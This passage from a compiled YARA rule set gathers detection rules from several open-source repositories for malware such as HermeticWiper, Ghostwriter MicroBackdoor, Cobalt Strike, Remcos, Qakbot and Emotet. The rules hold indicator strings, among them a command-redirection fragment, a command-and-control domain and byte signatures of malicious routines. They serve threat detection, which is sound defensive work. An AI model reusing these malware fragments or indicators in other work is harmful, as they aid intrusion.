		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/HeaderTip.yar#L1-L18"
		license_url = "N/A"
		logic_hash = "426c6ebd4ebf85cc4b13d47dc77ae2648fba2b0ccdb7eeaea6b96f19a46c2d4e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
	strings:
		$s1 = "type %temp%\\officecleaner.dat >> %objfile%"
		$s2 = "product2020.mrbasic.com" wide
	condition:
		filesize < 750KB and all of them
}

/*
 * YARA Rule Set
 * Repository Name: Cluster25
 * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules
 * Retrieval Date: 2026-03-15
 * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9
 * Number of Rules: 8
 * Skipped: 0 (age), 2 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */

rule CLUSTER25_UNC1222_Hermeticwiper_23433_10001 : FILE
{
	meta:
		description = "Detects HermeticWiper variants by internal strings"
		author = "Cluster25"
		id = "5fe25bef-b0e8-5d0e-ac54-e2037cbec05e"
		date = "2022-02-23"
		modified = "2023-04-10"
		reference = "https://blog.cluster25.duskrise.com/2022/02/24/ukraine-analysis-of-the-new-disk-wiping-malware"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cluster 25/UNC1222_HermeticWiper_23433_10001.yar#L1-L17"
		license_url = "N/A"
		logic_hash = "bed91eb4bd1dfd20783cfd74111b0f120dc302eea6f06921139bbec2ee0bfc46"
		score = 75
		quality = 75
		tags = "FILE"
		tlp = "white"
		hash1 = "0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da"
		hash2 = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
	strings:
		$ = "tdrv.pdb" fullword ascii
		$ = "\\\\.\\EPMNTDRV\\%u" fullword wide
		$ = "PhysicalDrive%u" fullword wide
		$ = "Hermetica Digital Ltd"
	condition:
		( uint16( 0 ) == 0x5a4d and all of them )
}

rule CLUSTER25_Ghostwriter_Microbackdoor_72632_00001 : FILE
{
	meta:
		description = "No description has been set in the source file - Cluster25"
		author = "Cluster25"
		id = "b50ca459-bb0b-567d-968c-772f73f22eb4"
		date = "2023-04-10"
		modified = "2023-04-10"
		reference = "https://blog.cluster25.duskrise.com/2022/03/08/ghostwriter-unc1151-adopts-microbackdoor-variants-in-cyber-operations-against-targets-in-ukraine"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cluster 25/GhostWriter_MicroBackdoor_72632_00001.yar#L1-L15"
		license_url = "N/A"
		logic_hash = "cb58d374036f0e52299adb2c7b6795a3610e9d3b29be041d4aa32b44b19a1680"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "559d8e8f2c60478d1c057b46ec6be912fae7df38e89553804cc566cac46e8e91"
		tlp = "white"
	strings:
		$ = "cmd.exe /C \"%s%s\"" fullword wide
		$ = "client.dll" fullword ascii
		$ = "ERROR: Unknown command" fullword ascii
		$ = " *** ERROR: Timeout occured" fullword ascii
		$ = "%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword ascii
		$ = "MIIDazCCAlOgAwIBAgIUWOftflCclQXpmWMnL1ewj2F5Y1AwDQYJKoZIhvcNAQEL" fullword ascii
	condition:
		( uint16( 0 ) == 0x5a4d and all of them )
}


rule CLUSTER25_APT28_Skinnyboy_Launcher : RUSSIAN THREAT ACTOR FILE
{
	meta:
		description = "No description has been set in the source file - Cluster25"
		author = "Cluster25"
		id = "eaf4e8e5-cbec-5000-a2ff-31d1dac4c30f"
		date = "2023-04-10"
		modified = "2023-04-10"
		reference = "https://21649046.fs1.hubspotusercontent-na1.net/hubfs/21649046/2021-05_FancyBear.pdf"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cluster 25/APT28_SkinnyBoy_Launcher.yar#L1-L19"
		license_url = "N/A"
		logic_hash = "cbb7a6e0114a9556a99ab3f5601664f430b650b2de0b44fe0178a99f21082e8d"
		score = 75
		quality = 75
		tags = "RUSSIAN, THREAT, ACTOR, FILE"
		hash1 = "2a652721243f29e82bdf57b565208c59937bbb6af4ab51e7b6ba7ed270ea6bce"
	strings:
		$sha = {F4 EB 56 52 AF 4B 48 EE 08 FF 9D 44 89 4B D5 66 24 61 2A 15 1D 58 14 F9 6D 97
13 2C 6D 07 6F 86}
		$l1 = "CryptGetHashParam" ascii
		$l2 = "CryptCreateHash" ascii
		$l3 = "FindNextFile" ascii
		$l4 = "PathAddBackslashW" ascii
		$l5 = "PathRemoveFileSpecW" ascii
		$h1 = {50 6A 00 6A 00 68 0C 80 00 00 FF ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A 00
56 ?? ?? ?? ?? 50 FF ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ??}
		$h2 = {8B 01 3B 02 75 10 83 C1 04 83 C2 04 83 EE 04 73 EF}
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( $sha or ( all of ( $l* ) and all of ( $h* ) ) )
}

rule CLUSTER25_Ghostwriter_Microloader_72632_00001 : FILE
{
	meta:
		description = "No description has been set in the source file - Cluster25"
		author = "Cluster25"
		id = "f0e25fac-c5ff-53a7-874e-dcd5efee4ef1"
		date = "2023-04-10"
		modified = "2023-04-10"
		reference = "https://blog.cluster25.duskrise.com/2022/03/08/ghostwriter-unc1151-adopts-microbackdoor-variants-in-cyber-operations-against-targets-in-ukraine"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cluster 25/GhostWriter_MicroLoader_72632_00001.yar#L1-L14"
		license_url = "N/A"
		logic_hash = "f4c22e6f16374e26c6b3d7bdf49dfac6e3daab6e8ac42045a107f68ce61ba2b1"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "e97f1d6ec1aa3f7c7973d57074d1d623833f0e9b1c1e53f81af92c057a1fdd72"
		tlp = "white"
	strings:
		$ = "ajf09aj2.dll" fullword wide
		$ = "regsvcser" fullword ascii
		$ = "X l.dlT" fullword ascii
		$ = "rtGso9w|4" fullword ascii
		$ = "ajlj}m${<" fullword ascii
	condition:
		( uint16( 0 ) == 0x5a4d and all of them )
}

rule CLUSTER25_APT29_Htmlsmuggling_ZIP_82733_00001 : FILE
{
	meta:
		description = "Rule to detect the EnvyScout HTML smuggling with ZIP payload used in the APT29/Nobelium APT29 chain"
		author = "Cluster25"
		id = "edc2fc67-482f-594e-9b10-f738b9e34c4a"
		date = "2022-05-12"
		modified = "2023-04-10"
		reference = "https://blog.cluster25.duskrise.com/2022/05/13/cozy-smuggled-into-the-box"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cluster 25/APT29_HTMLSmuggling_ZIP_82733_00001.yar#L1-L16"
		license_url = "N/A"
		hash = "d5c84cbd7dc70e71f3eb24434a58b2f149d0c39faa7e4157552b60c7dbb53d11"
		logic_hash = "ec51d08551af64100f0f22ef61470ea930be7a457c5aba84e8e00cd9b423616d"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "new Blob("
		$s2 = "new Uint8Array("
		$s3 = "application/octet-stream"
		$t1 = "saveAs("
		$t2 = "download("
		$r1 = { 66 6F 72 28 76 61 72 20 69 20 3D 20 30 78 30 3B 20 69 20 3C 20 64 5B 27 6C 65 6E 67 74 68 27 5D 3B 20 69 2B 2B 29 20 7B 0A 20 20 20 20 64 5B 69 5D 20 3D 20 64 5B 69 5D }
	condition:
		( filesize > 500KB and all of ( $s* ) and ( $t1 or $t2 ) and $r1 )
}

rule CLUSTER25_Sidewinder_Apt_Rtf_Cve_2017_0199 : FILE
{
	meta:
		description = "No description has been set in the source file - Cluster25"
		author = "Cluster25"
		id = "0c44f22e-6b21-5dfb-9812-7d8d14e08c1a"
		date = "2021-09-09"
		modified = "2023-04-10"
		reference = "https://21649046.fs1.hubspotusercontent-na1.net/hubfs/21649046/a_rattlesnake_in_the_navy.pdf"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cluster 25/sidewinder_apt_rtf_cve_2017_0199.yar#L2-L18"
		license_url = "N/A"
		logic_hash = "63c7b8c251a906ea9ea81a7ea838506cd2c0304b4d197eaff8cd3bac99f860ac"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "282367417cdc711fbad33eb6988c172c61a9a57d9f926addaefabc36cac3c004"
		hash2 = "6d021166bdde0eab22fd4a9f398fdd8ccf8b977ff33a77c518f8d16e56d3eeee"
	strings:
		$head = "{\\rtf1" ascii
		$obj = "objdata 0105000002000000" ascii
		$expl = "6D007300680074006D006C000000FFD7E8130000006E756E48544D4C4170706C69636174696F6E" ascii
		$s1 = "416374697665584F626A656374" ascii nocase
		$s2 = "5176524d384b4e4734504332565a55753765497764426f72686974366761416259796d356c4563306a4453576e585431334a7173467870484f666b7a4c392b2f3d" ascii nocase
		$s3 = "62203e3e2031362026203235352c2062203e3e20382026203235352c2062202620323535" ascii nocase
	condition:
		$head at 0 and $obj and $expl and 2 of ( $s* )
}

/*
 * YARA Rule Set
 * Repository Name: Microsoft
 * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules
 * Retrieval Date: 2026-03-15
 * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9
 * Number of Rules: 1
 * Skipped: 19 (age), 1 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */

/*
 * YARA Rule Set
 * Repository Name: NCSC
 * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules
 * Retrieval Date: 2026-03-15
 * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9
 * Number of Rules: 8
 * Skipped: 8 (age), 1 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */

rule NCSC_Sparrowdoor_Loader : FILE
{
	meta:
		description = "Targets code features of the SparrowDoor loader. This rule detects the previous variant and this new variant."
		author = "NCSC"
		id = "7107cb82-c4c9-503f-b006-baec6b667498"
		date = "2022-02-28"
		modified = "2022-07-06"
		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_loader.yar#L1-L15"
		license_url = "N/A"
		logic_hash = "fa1bd386114d912722a5101a0112355dec654e2e9446c885c12946c7fae1c8f4"
		score = 75
		quality = 80
		tags = "FILE"
		hash1 = "989b3798841d06e286eb083132242749c80fdd4d"
	strings:
		$xor_algo = {8B D0 83 E2 03 8A 54 14 10 30 14 30 40 3B C1}
		$rva = {8D B0 [4] 8D 44 24 ?? 50 6A 40 6A 05 56}
		$lj = {2B CE 83 E9 05 8D [3] 52 C6 06 E9 89 4E 01 8B [3] 50 6A 05 56}
	condition:
		( uint16( 0 ) == 0x5A4D ) and uint32( uint32( 0x3C ) ) == 0x00004550 and all of them
}


/*
 * YARA Rule Set
 * Repository Name: Dr4k0nia
 * Repository: https://github.com/dr4k0nia/yara-rules
 * Retrieval Date: 2026-03-15
 * Git Commit: 4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8
 * Number of Rules: 4
 * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * # Detection Rule License (DRL) 1.1

Permission is hereby granted, free of charge, to any person obtaining a copy of this rule set and associated documentation files (the "Rules"), to deal in the Rules without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Rules, and to permit persons to whom the Rules are furnished to do so, subject to the following conditions:

If you share the Rules (including in modified form), you must retain the following if it is supplied within the Rules:

1. identification of the authors(s) ("author" field) of the Rule and any others designated to receive attribution, in any reasonable manner requested by the Rule author (including by pseudonym if designated).

2. a URI or hyperlink to the Rule set or explicit Rule to the extent reasonably practicable

3. indicate the Rules are licensed under this Detection Rule License, and include the text of, or the URI or hyperlink to, this Detection Rule License to the extent reasonably practicable

If you use the Rules (including in modified form) on data, messages based on matches with the Rules must retain the following if it is supplied within the Rules:

1. identification of the authors(s) ("author" field) of the Rule and any others designated to receive attribution, in any reasonable manner requested by the Rule author (including by pseudonym if designated).

THE RULES ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE RULES OR THE USE OR OTHER DEALINGS IN THE RULES.

 */

rule DR4K0NIA_MAL_Msil_Net_Niximports_Loader : FILE
{
	meta:
		description = "Detects NixImports .NET loader"
		author = "dr4k0nia"
		id = "ba0d072d-674a-5790-9381-4dac98204268"
		date = "2023-05-21"
		modified = "2023-05-22"
		reference = "https://github.com/dr4k0nia/NixImports"
		source_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/dotnet/msil_mal_niximports_loader.yar#L1-L21"
		license_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/LICENSE.md"
		logic_hash = "79421b2677705852f893fa53478deb2e4aa8bd354ac05cbf5438a3a2a15d70bf"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$op_pe = {C2 95 C2 97 C2 B2 C2 92 C2 82 C2 82 C2 8E C2 82 C2 82 C2 82 C2 82 C2 86 C2 82}
		$op_delegate = {20 F0 C7 FF 80 20 83 BF 7F 1F 14 14}
		$a1 = "GetRuntimeProperties" ascii fullword
		$a2 = "GetTypes" ascii fullword
		$a3 = "GetRuntimeMethods" ascii fullword
		$a4 = "netstandard" ascii fullword
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3MB and all of ( $a* ) and 2 of ( $op* )
}


rule DR4K0NIA_MAL_MSIL_NET_Typhonlogger_Jul23 : FILE
{
	meta:
		description = "Detects TyphonLogger .NET payloads"
		author = "dr4k0nia"
		id = "2fbc1d9e-9c07-560b-9476-a176cdbe1bad"
		date = "2023-11-07"
		modified = "2023-07-11"
		reference = "https://github.com/dr4k0nia/yara-rules"
		source_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/dotnet/mal_msil_typhon_logger.yar#L1-L21"
		license_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/LICENSE.md"
		hash = "fc8733c217b49ca14702a59a637efc7dba6a2993d57e67424513ce2f5e9d8ed8"
		logic_hash = "5c22aab1942e31095989b8267e0231191718d4ec44eb3afc6a50f929aae872c8"
		score = 75
		quality = 81
		tags = "FILE"
	strings:
		$sa1 = "SetWindowsHookEx" ascii fullword
		$sa2 = "iphlpapi.dll" ascii fullword
		$sa3 = "SendARP" ascii fullword
		$sa4 = "costura.bouncycastle.crypto.dll.compressed" ascii fullword
		$op1 = {51 32 46 79 64 47 55 67 51 6D 78 68 62 6D 4E 6F 5A 53 42 44 59 58 4A 6B}
		$op2 = {53 57 35 7A 64 47 45 67 55 47 46 35 62 57 56 75 64 43 42 44 59 58 4A 6B}
		$op3 = {20 25 32 C4 C1 35 4C 11 06 20 6B 6D AC 1D 35 1D 11 06 20 4B A6 CA 11 3B 59 01 00 00 11 06 20 6B 6D AC 1D}
		$sx = "New Projects\\EmeraldLogger\\EmeraldLogger\\obj\\" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( $sx or ( all of ( $sa* ) and 2 of ( $op* ) ) )
}

/*
 * YARA Rule Set
 * Repository Name: EmbeeResearch
 * Repository: https://github.com/embee-research/Yara-detection-rules/
 * Retrieval Date: 2026-03-15
 * Git Commit: ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4
 * Number of Rules: 35
 * Skipped: 0 (age), 11 (quality), 1 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */
rule EMBEERESEARCH_Win_Cobaltstrike_Pipe_Strings_Nov_2023 : FILE
{
	meta:
		description = "Detects default strings related to cobalt strike named pipes"
		author = "Matthew @ Embee_Research"
		id = "9237f4e8-b9c4-54cb-9cb2-999d267392af"
		date = "2023-11-04"
		modified = "2023-11-04"
		reference = "https://github.com/embee-research/Yara-detection-rules/"
		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_cobaltstrike_pipe_strings_nov_2023.yar#L1-L24"
		license_url = "N/A"
		hash = "99986d438ec146bbb8b5faa63ce47264750a8fdf508a4d4250a8e1e3d58377fd"
		hash = "090402a6e2db12cbdd3a889b7b46bb7702acc0cad37d87ff201230b618fe7ed5"
		hash = "eb2b263937f8d28aa9df7277b6f25d10604a5037d5644c98ee0ab8f7a25db7b4"
		logic_hash = "ff17fe9d04d9ad6aa5c034b69d412b0d62c48c537c3a54a465761e27e9255e6d"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "%c%c%c%c%c%cMSSE-%d-server"
		$s2 = "ConnectNamedPipe"
		$s3 = "CreateNamedPipeA"
		$s4 = "TlsGetValue"
	condition:
		( all of ( $s* ) ) and filesize < 500KB
}


rule EMBEERESEARCH_Win_Cobalt_Sleep_Encrypt : FILE
{
	meta:
		description = "Detects Sleep Encryption Logic Found in Cobalt Strike Deployments"
		author = "Matthew @ Embee_Research"
		id = "6bd6fbb4-6634-5b51-90f0-f24e48d69043"
		date = "2023-08-27"
		modified = "2023-10-18"
		reference = "https://github.com/embee-research/Yara-detection-rules/"
		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_cobalt_sleep_encrypt_aug_2023.yar#L1-L55"
		license_url = "N/A"
		hash = "26b2f12906c3590c8272b80358867944fd86b9f2cc21ee6f76f023db812e5bb1"
		logic_hash = "7aa2674ecaaae819c3f26924fa0622df322b1214493f37b1bdf5e00ba5ee98e6"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$r1_nokey = {4E 8B 04 08 B8 ?? ?? ?? ?? 41 F7 E3 41 8B C3 C1 EA 02 41 FF C3 6B D2 0D 2B C2 8A 4C 18 18 41 30 0C 38 48 8B 43 10 41 8B FB 4A 3B 7C 08 08}
		$r2_nokey = {49 8B F9 4C 8B 03 B8 ?? ?? ?? ?? 41 F7 E1 41 8B C1 C1 EA 02 41 FF C1 6B D2 0D 2B C2 8A 4C 18 18 42 30 0C 07 48 FF C7 45 3B CB}
	condition:
		($r1_nokey or $r2_nokey )
}

rule EMBEERESEARCH_Win_Remcos_Rat_Unpacked : FILE
{
	meta:
		description = "Detects strings present in remcos rat Samples."
		author = "Matthew @ Embee_Research"
		id = "d4282638-592a-5c07-b07b-937e2a7879e4"
		date = "2023-08-27"
		modified = "2023-10-18"
		reference = "https://github.com/embee-research/Yara-detection-rules/"
		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_remcos_rat_unpacked_aug_2023.yar#L2-L32"
		license_url = "N/A"
		hash = "ec901217558e77f2f449031a6a1190b1e99b30fa1bb8d8dabc3a99bc69833784"
		logic_hash = "c6d1772a5517b104de3022f4bab55d92784d35c3a252a4e0516083d8bd28cad0"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$r0 = " ______                              " ascii
		$r1 = "(_____ \\                             " ascii
		$r2 = " _____) )_____ ____   ____ ___   ___ " ascii
		$r3 = "|  __  /| ___ |    \\ / ___) _ \\ /___)" ascii
		$r4 = "| |  \\ \\| ____| | | ( (__| |_| |___ |" ascii
		$r5 = "|_|   |_|_____)_|_|_|\\____)___/(___/ " ascii
		$s1 = "Watchdog module activated" ascii
		$s2 = "Remcos restarted by watchdog!" ascii
		$s3 = " BreakingSecurity.net" ascii
	condition:
		(( all of ( $r* ) ) or ( all of ( $s* ) ) )
}





rule EMBEERESEARCH_Win_Redline_Bytecodes_Jan_2024 : FILE
{
	meta:
		description = "Bytecodes found in late 2023 Redline malware"
		author = "Matthew @ Embee_Research"
		id = "8acf0fbb-f7d1-5a3d-9ccb-ee21926d6a31"
		date = "2023-08-27"
		modified = "2024-01-02"
		reference = "https://github.com/embee-research/Yara-detection-rules/"
		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_bytecodes_jan_2024.yar#L1-L22"
		license_url = "N/A"
		hash = "ea1271c032046d482ed94c6d2c2c6e3ede9bea57dff13156cabca42b24fb9332"
		logic_hash = "43f4d718611c16983071587c2806f92550ebba6bae737c59c63cd8584a5cc01f"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = {00 00 7E ?? ?? ?? 04 7E ?? ?? ?? 04 28 ?? ?? ?? 06 17 8D ?? ?? ?? 01 25 16 1F 7C 9D 6F ?? ?? ?? 0A 13 ?? 16 13 ?? 38 }
		$s2 = "mscoree.dll" ascii
	condition:
		$s1 and $s2 and uint16( 0 ) == 0x5a4d
}





rule EMBEERESEARCH_Win_Icedid_Encryption_Oct_2022 : FILE
{
	meta:
		description = "No description has been set in the source file - EmbeeResearch"
		author = "Embee_Research @ Huntress"
		id = "1ecbb3b3-dfc1-5d69-807d-3a44c39a3536"
		date = "2022-10-14"
		modified = "2023-10-18"
		reference = "https://github.com/embee-research/Yara-detection-rules/"
		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_icedid_encryption_oct_2022.yar#L1-L18"
		license_url = "N/A"
		logic_hash = "da657cf87e043a1fdb2ec683de8a7a12acb8c8f1c24034bb376d525c0a1c5740"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$IcedID = {41 0f b6 d3 44 8d 42 01 83 e2 03 41 83 e0 03 42 8a 44 84 40 02 44 94 40 43 32 04 33 42 8b 4c 84 40 41 88 04 1b 83 e1 07 8b 44 94 40 49 ff c3 d3 c8 ff c0 89 44 94 40 83 e0 07}
	condition:
		$IcedID
}

rule EMBEERESEARCH_Win_Qakbot_Api_Hashing_Oct_2022 : FILE
{
	meta:
		description = "No description has been set in the source file - EmbeeResearch"
		author = "@Embee_Research"
		id = "b5478404-659d-5b3a-b722-f8ba33875d8a"
		date = "2022-11-14"
		modified = "2022-12-01"
		reference = "https://twitter.com/embee_research/status/1592067841154756610"
		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_qakbot_api_hashing_oct_2022.yar#L2-L21"
		license_url = "N/A"
		logic_hash = "595cabd508ee60c5606f965eb9a290ae21ea32af0f56e213f6ce2d2e35dc4e11"
		score = 75
		quality = 75
		tags = "FILE"
		vendor = "Huntress Labs"
	strings:
		$qakbot_hashing = {0f b6 04 39 33 f0 8b c6 c1 ee 04 83 e0 0f 33 34 85 ?? ?? ?? ?? 8b c6 c1 ee 04 83 e0 0f 33 34 85 ?? ?? ?? ?? 41 3b ca}
	condition:
		any of them
}

rule EMBEERESEARCH_Win_Emotet_String_Patterns_Oct_2022 : FILE
{
	meta:
		description = "Detection of string hashing routines observed in emotet"
		author = "Embee_Research @ HuntressLabs"
		id = "fd9c3133-95dc-5dd8-9e94-ed85ad8e1fc7"
		date = "2022-10-14"
		modified = "2023-10-18"
		reference = "https://github.com/embee-research/Yara-detection-rules/"
		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_emotet_string_patterns_oct_2022.yar#L1-L19"
		license_url = "N/A"
		logic_hash = "36f4a3fed124b8c25711f706c5b4f1c9b0801c2105cf86077b8c002dd70a6fbc"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$em1 = {45 33 f6 4c 8b d0 48 85 c0 74 64 48 8d 14 b3 4c 8b c0 45 8b de 4c 8b ca 4c 2b cb 49 83 c1 03 49 c1 e9 02 48 3b da 4d 0f 47 ce}
		$em2 = {8b cd 49 ff c3 33 0b 48 8d 5b 04 0f b6 c1 66 41 89 00 0f b7 c1 c1 e9 10 66 c1 e8 08 4d 8d 40 08 66 41 89 40 fa 0f b6 c1 66 c1 e9 08 66 41 89 40 fc 66 41 89 48 fe 4d 3b d9}
		$em3 = {49 ff c3 33 0b 48 8d 5b 04 0f b6 c1 66 41 89 00}
		$em4 = {8b cb 41 8b d0 d3 e2 41 8b cb d3 e0 03 d0 41 0f be c1 03 d0 41 2b d0 49 ff c2 44 8b c2}
	condition:
		uint16( 0 ) == 0x5a4d and ( any of them )
}

rule EMBEERESEARCH_Win_Qakbot_String_Decrypt_Nov_2022 : FILE
{
	meta:
		description = "No description has been set in the source file - EmbeeResearch"
		author = "Embee_Research @ Huntress"
		id = "0023872f-8edb-59d6-88eb-a76528ba6ec8"
		date = "2022-11-14"
		modified = "2023-10-18"
		reference = "https://github.com/embee-research/Yara-detection-rules/"
		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_qakbot_string_decrypt_nov_2022.yar#L1-L15"
		license_url = "N/A"
		logic_hash = "d225f69fa4dd0e8d7c98e7f8968ad285f05b232225e9ce1070b7a23257a0ef9d"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$qakbot_decrypt = {33 d2 8b c7 f7 75 10 8a 04 1a 8b 55 fc 32 04 17 88 04 39 47 83 ee 01}
	condition:
		uint16( 0 ) == 0x5a4d and $qakbot_decrypt
}

rule EMBEERESEARCH_Win_Havoc_Djb2_Hashing_Routine_Oct_2022 : FILE
{
	meta:
		description = "No description has been set in the source file - EmbeeResearch"
		author = "embee_research @ HuntressLabs"
		id = "cde3e14f-0671-5bcf-93e8-e0a0af9b462c"
		date = "2022-10-11"
		modified = "2023-10-18"
		reference = "https://github.com/embee-research/Yara-detection-rules/"
		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_havoc_djb2_hashing_routine_oct_2022.yar#L1-L24"
		license_url = "N/A"
		logic_hash = "9f645480c3d78153186a247440739a1d2e627ec64a4225083bd8db4ad9bd5ef3"
		score = 75
		quality = 75
		tags = "FILE"
		vendor = "Huntress Research"
	strings:
		$dll = {b8 05 15 00 00 0f be 11 48 ff c1 84 d2 74 07 6b c0 21 01 d0 eb ef}
		$shellcode = {41 80 f8 60 76 04 41 83 e8 20 6b c0 21 45 0f b6 c0 49 ff c1 44 01 c0 eb c4}
	condition:
		( any of them ) and ( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x00e8 or uint16( 0 ) == 0x4856 )
}

rule EMBEERESEARCH_Win_Gracewire_Loader_Dec_2022 : FILE
{
	meta:
		description = "Yara rule to detect GraceWireLoader via usage of Stack Strings"
		author = "Embee_Research @ Huntress"
		id = "63d0cd9f-34f7-5ec4-8061-66d36859bd0c"
		date = "2022-12-12"
		modified = "2023-10-18"
		reference = "https://github.com/embee-research/Yara-detection-rules/"
		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/2022/win_gracewire_loader_dec_2022.yar#L2-L24"
		license_url = "N/A"
		logic_hash = "168af6d24c0646e90717f27e6ba4a18da8e92950ffa7a881243860305037da48"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$ZwAllocateVirtualMemory = {c6 44 24 48 5a c6 44 24 49 77 c6 44 24 4a 41 c6 44 24 4b 6c c6 44 24 4c 6c c6 44 24 4d 6f c6 44 24 4e 63 c6 44 24 4f 61 c6 44 24 50 74 c6 44 24 51 65 c6 44 24 52 56 c6 44 24 53 69 c6 44 24 54 72 c6 44 24 55 74 c6 44 24 56 75 c6 44 24 57 61 c6 44 24 58 6c c6 44 24 59 4d c6 44 24 5a 65 c6 44 24 5b 6d c6 44 24 5c 6f}
		$LdrGetProcedureAddress = {c6 44 24 50 4c c6 44 24 51 64 c6 44 24 52 72 c6 44 24 53 47 c6 44 24 54 65 c6 44 24 55 74 c6 44 24 56 50 c6 44 24 57 72 c6 44 24 58 6f c6 44 24 59 63 c6 44 24 5a 65 c6 44 24 5b 64 c6 44 24 5c 75 c6 44 24 5d 72 c6 44 24 5e 65 c6 44 24 5f 41 c6 44 24 60 64 c6 44 24 61 64 c6 44 24 62 72 c6 44 24 63 65 c6 44 24 64 73 c6 44 24 65 73 c6 44 24 66 00}
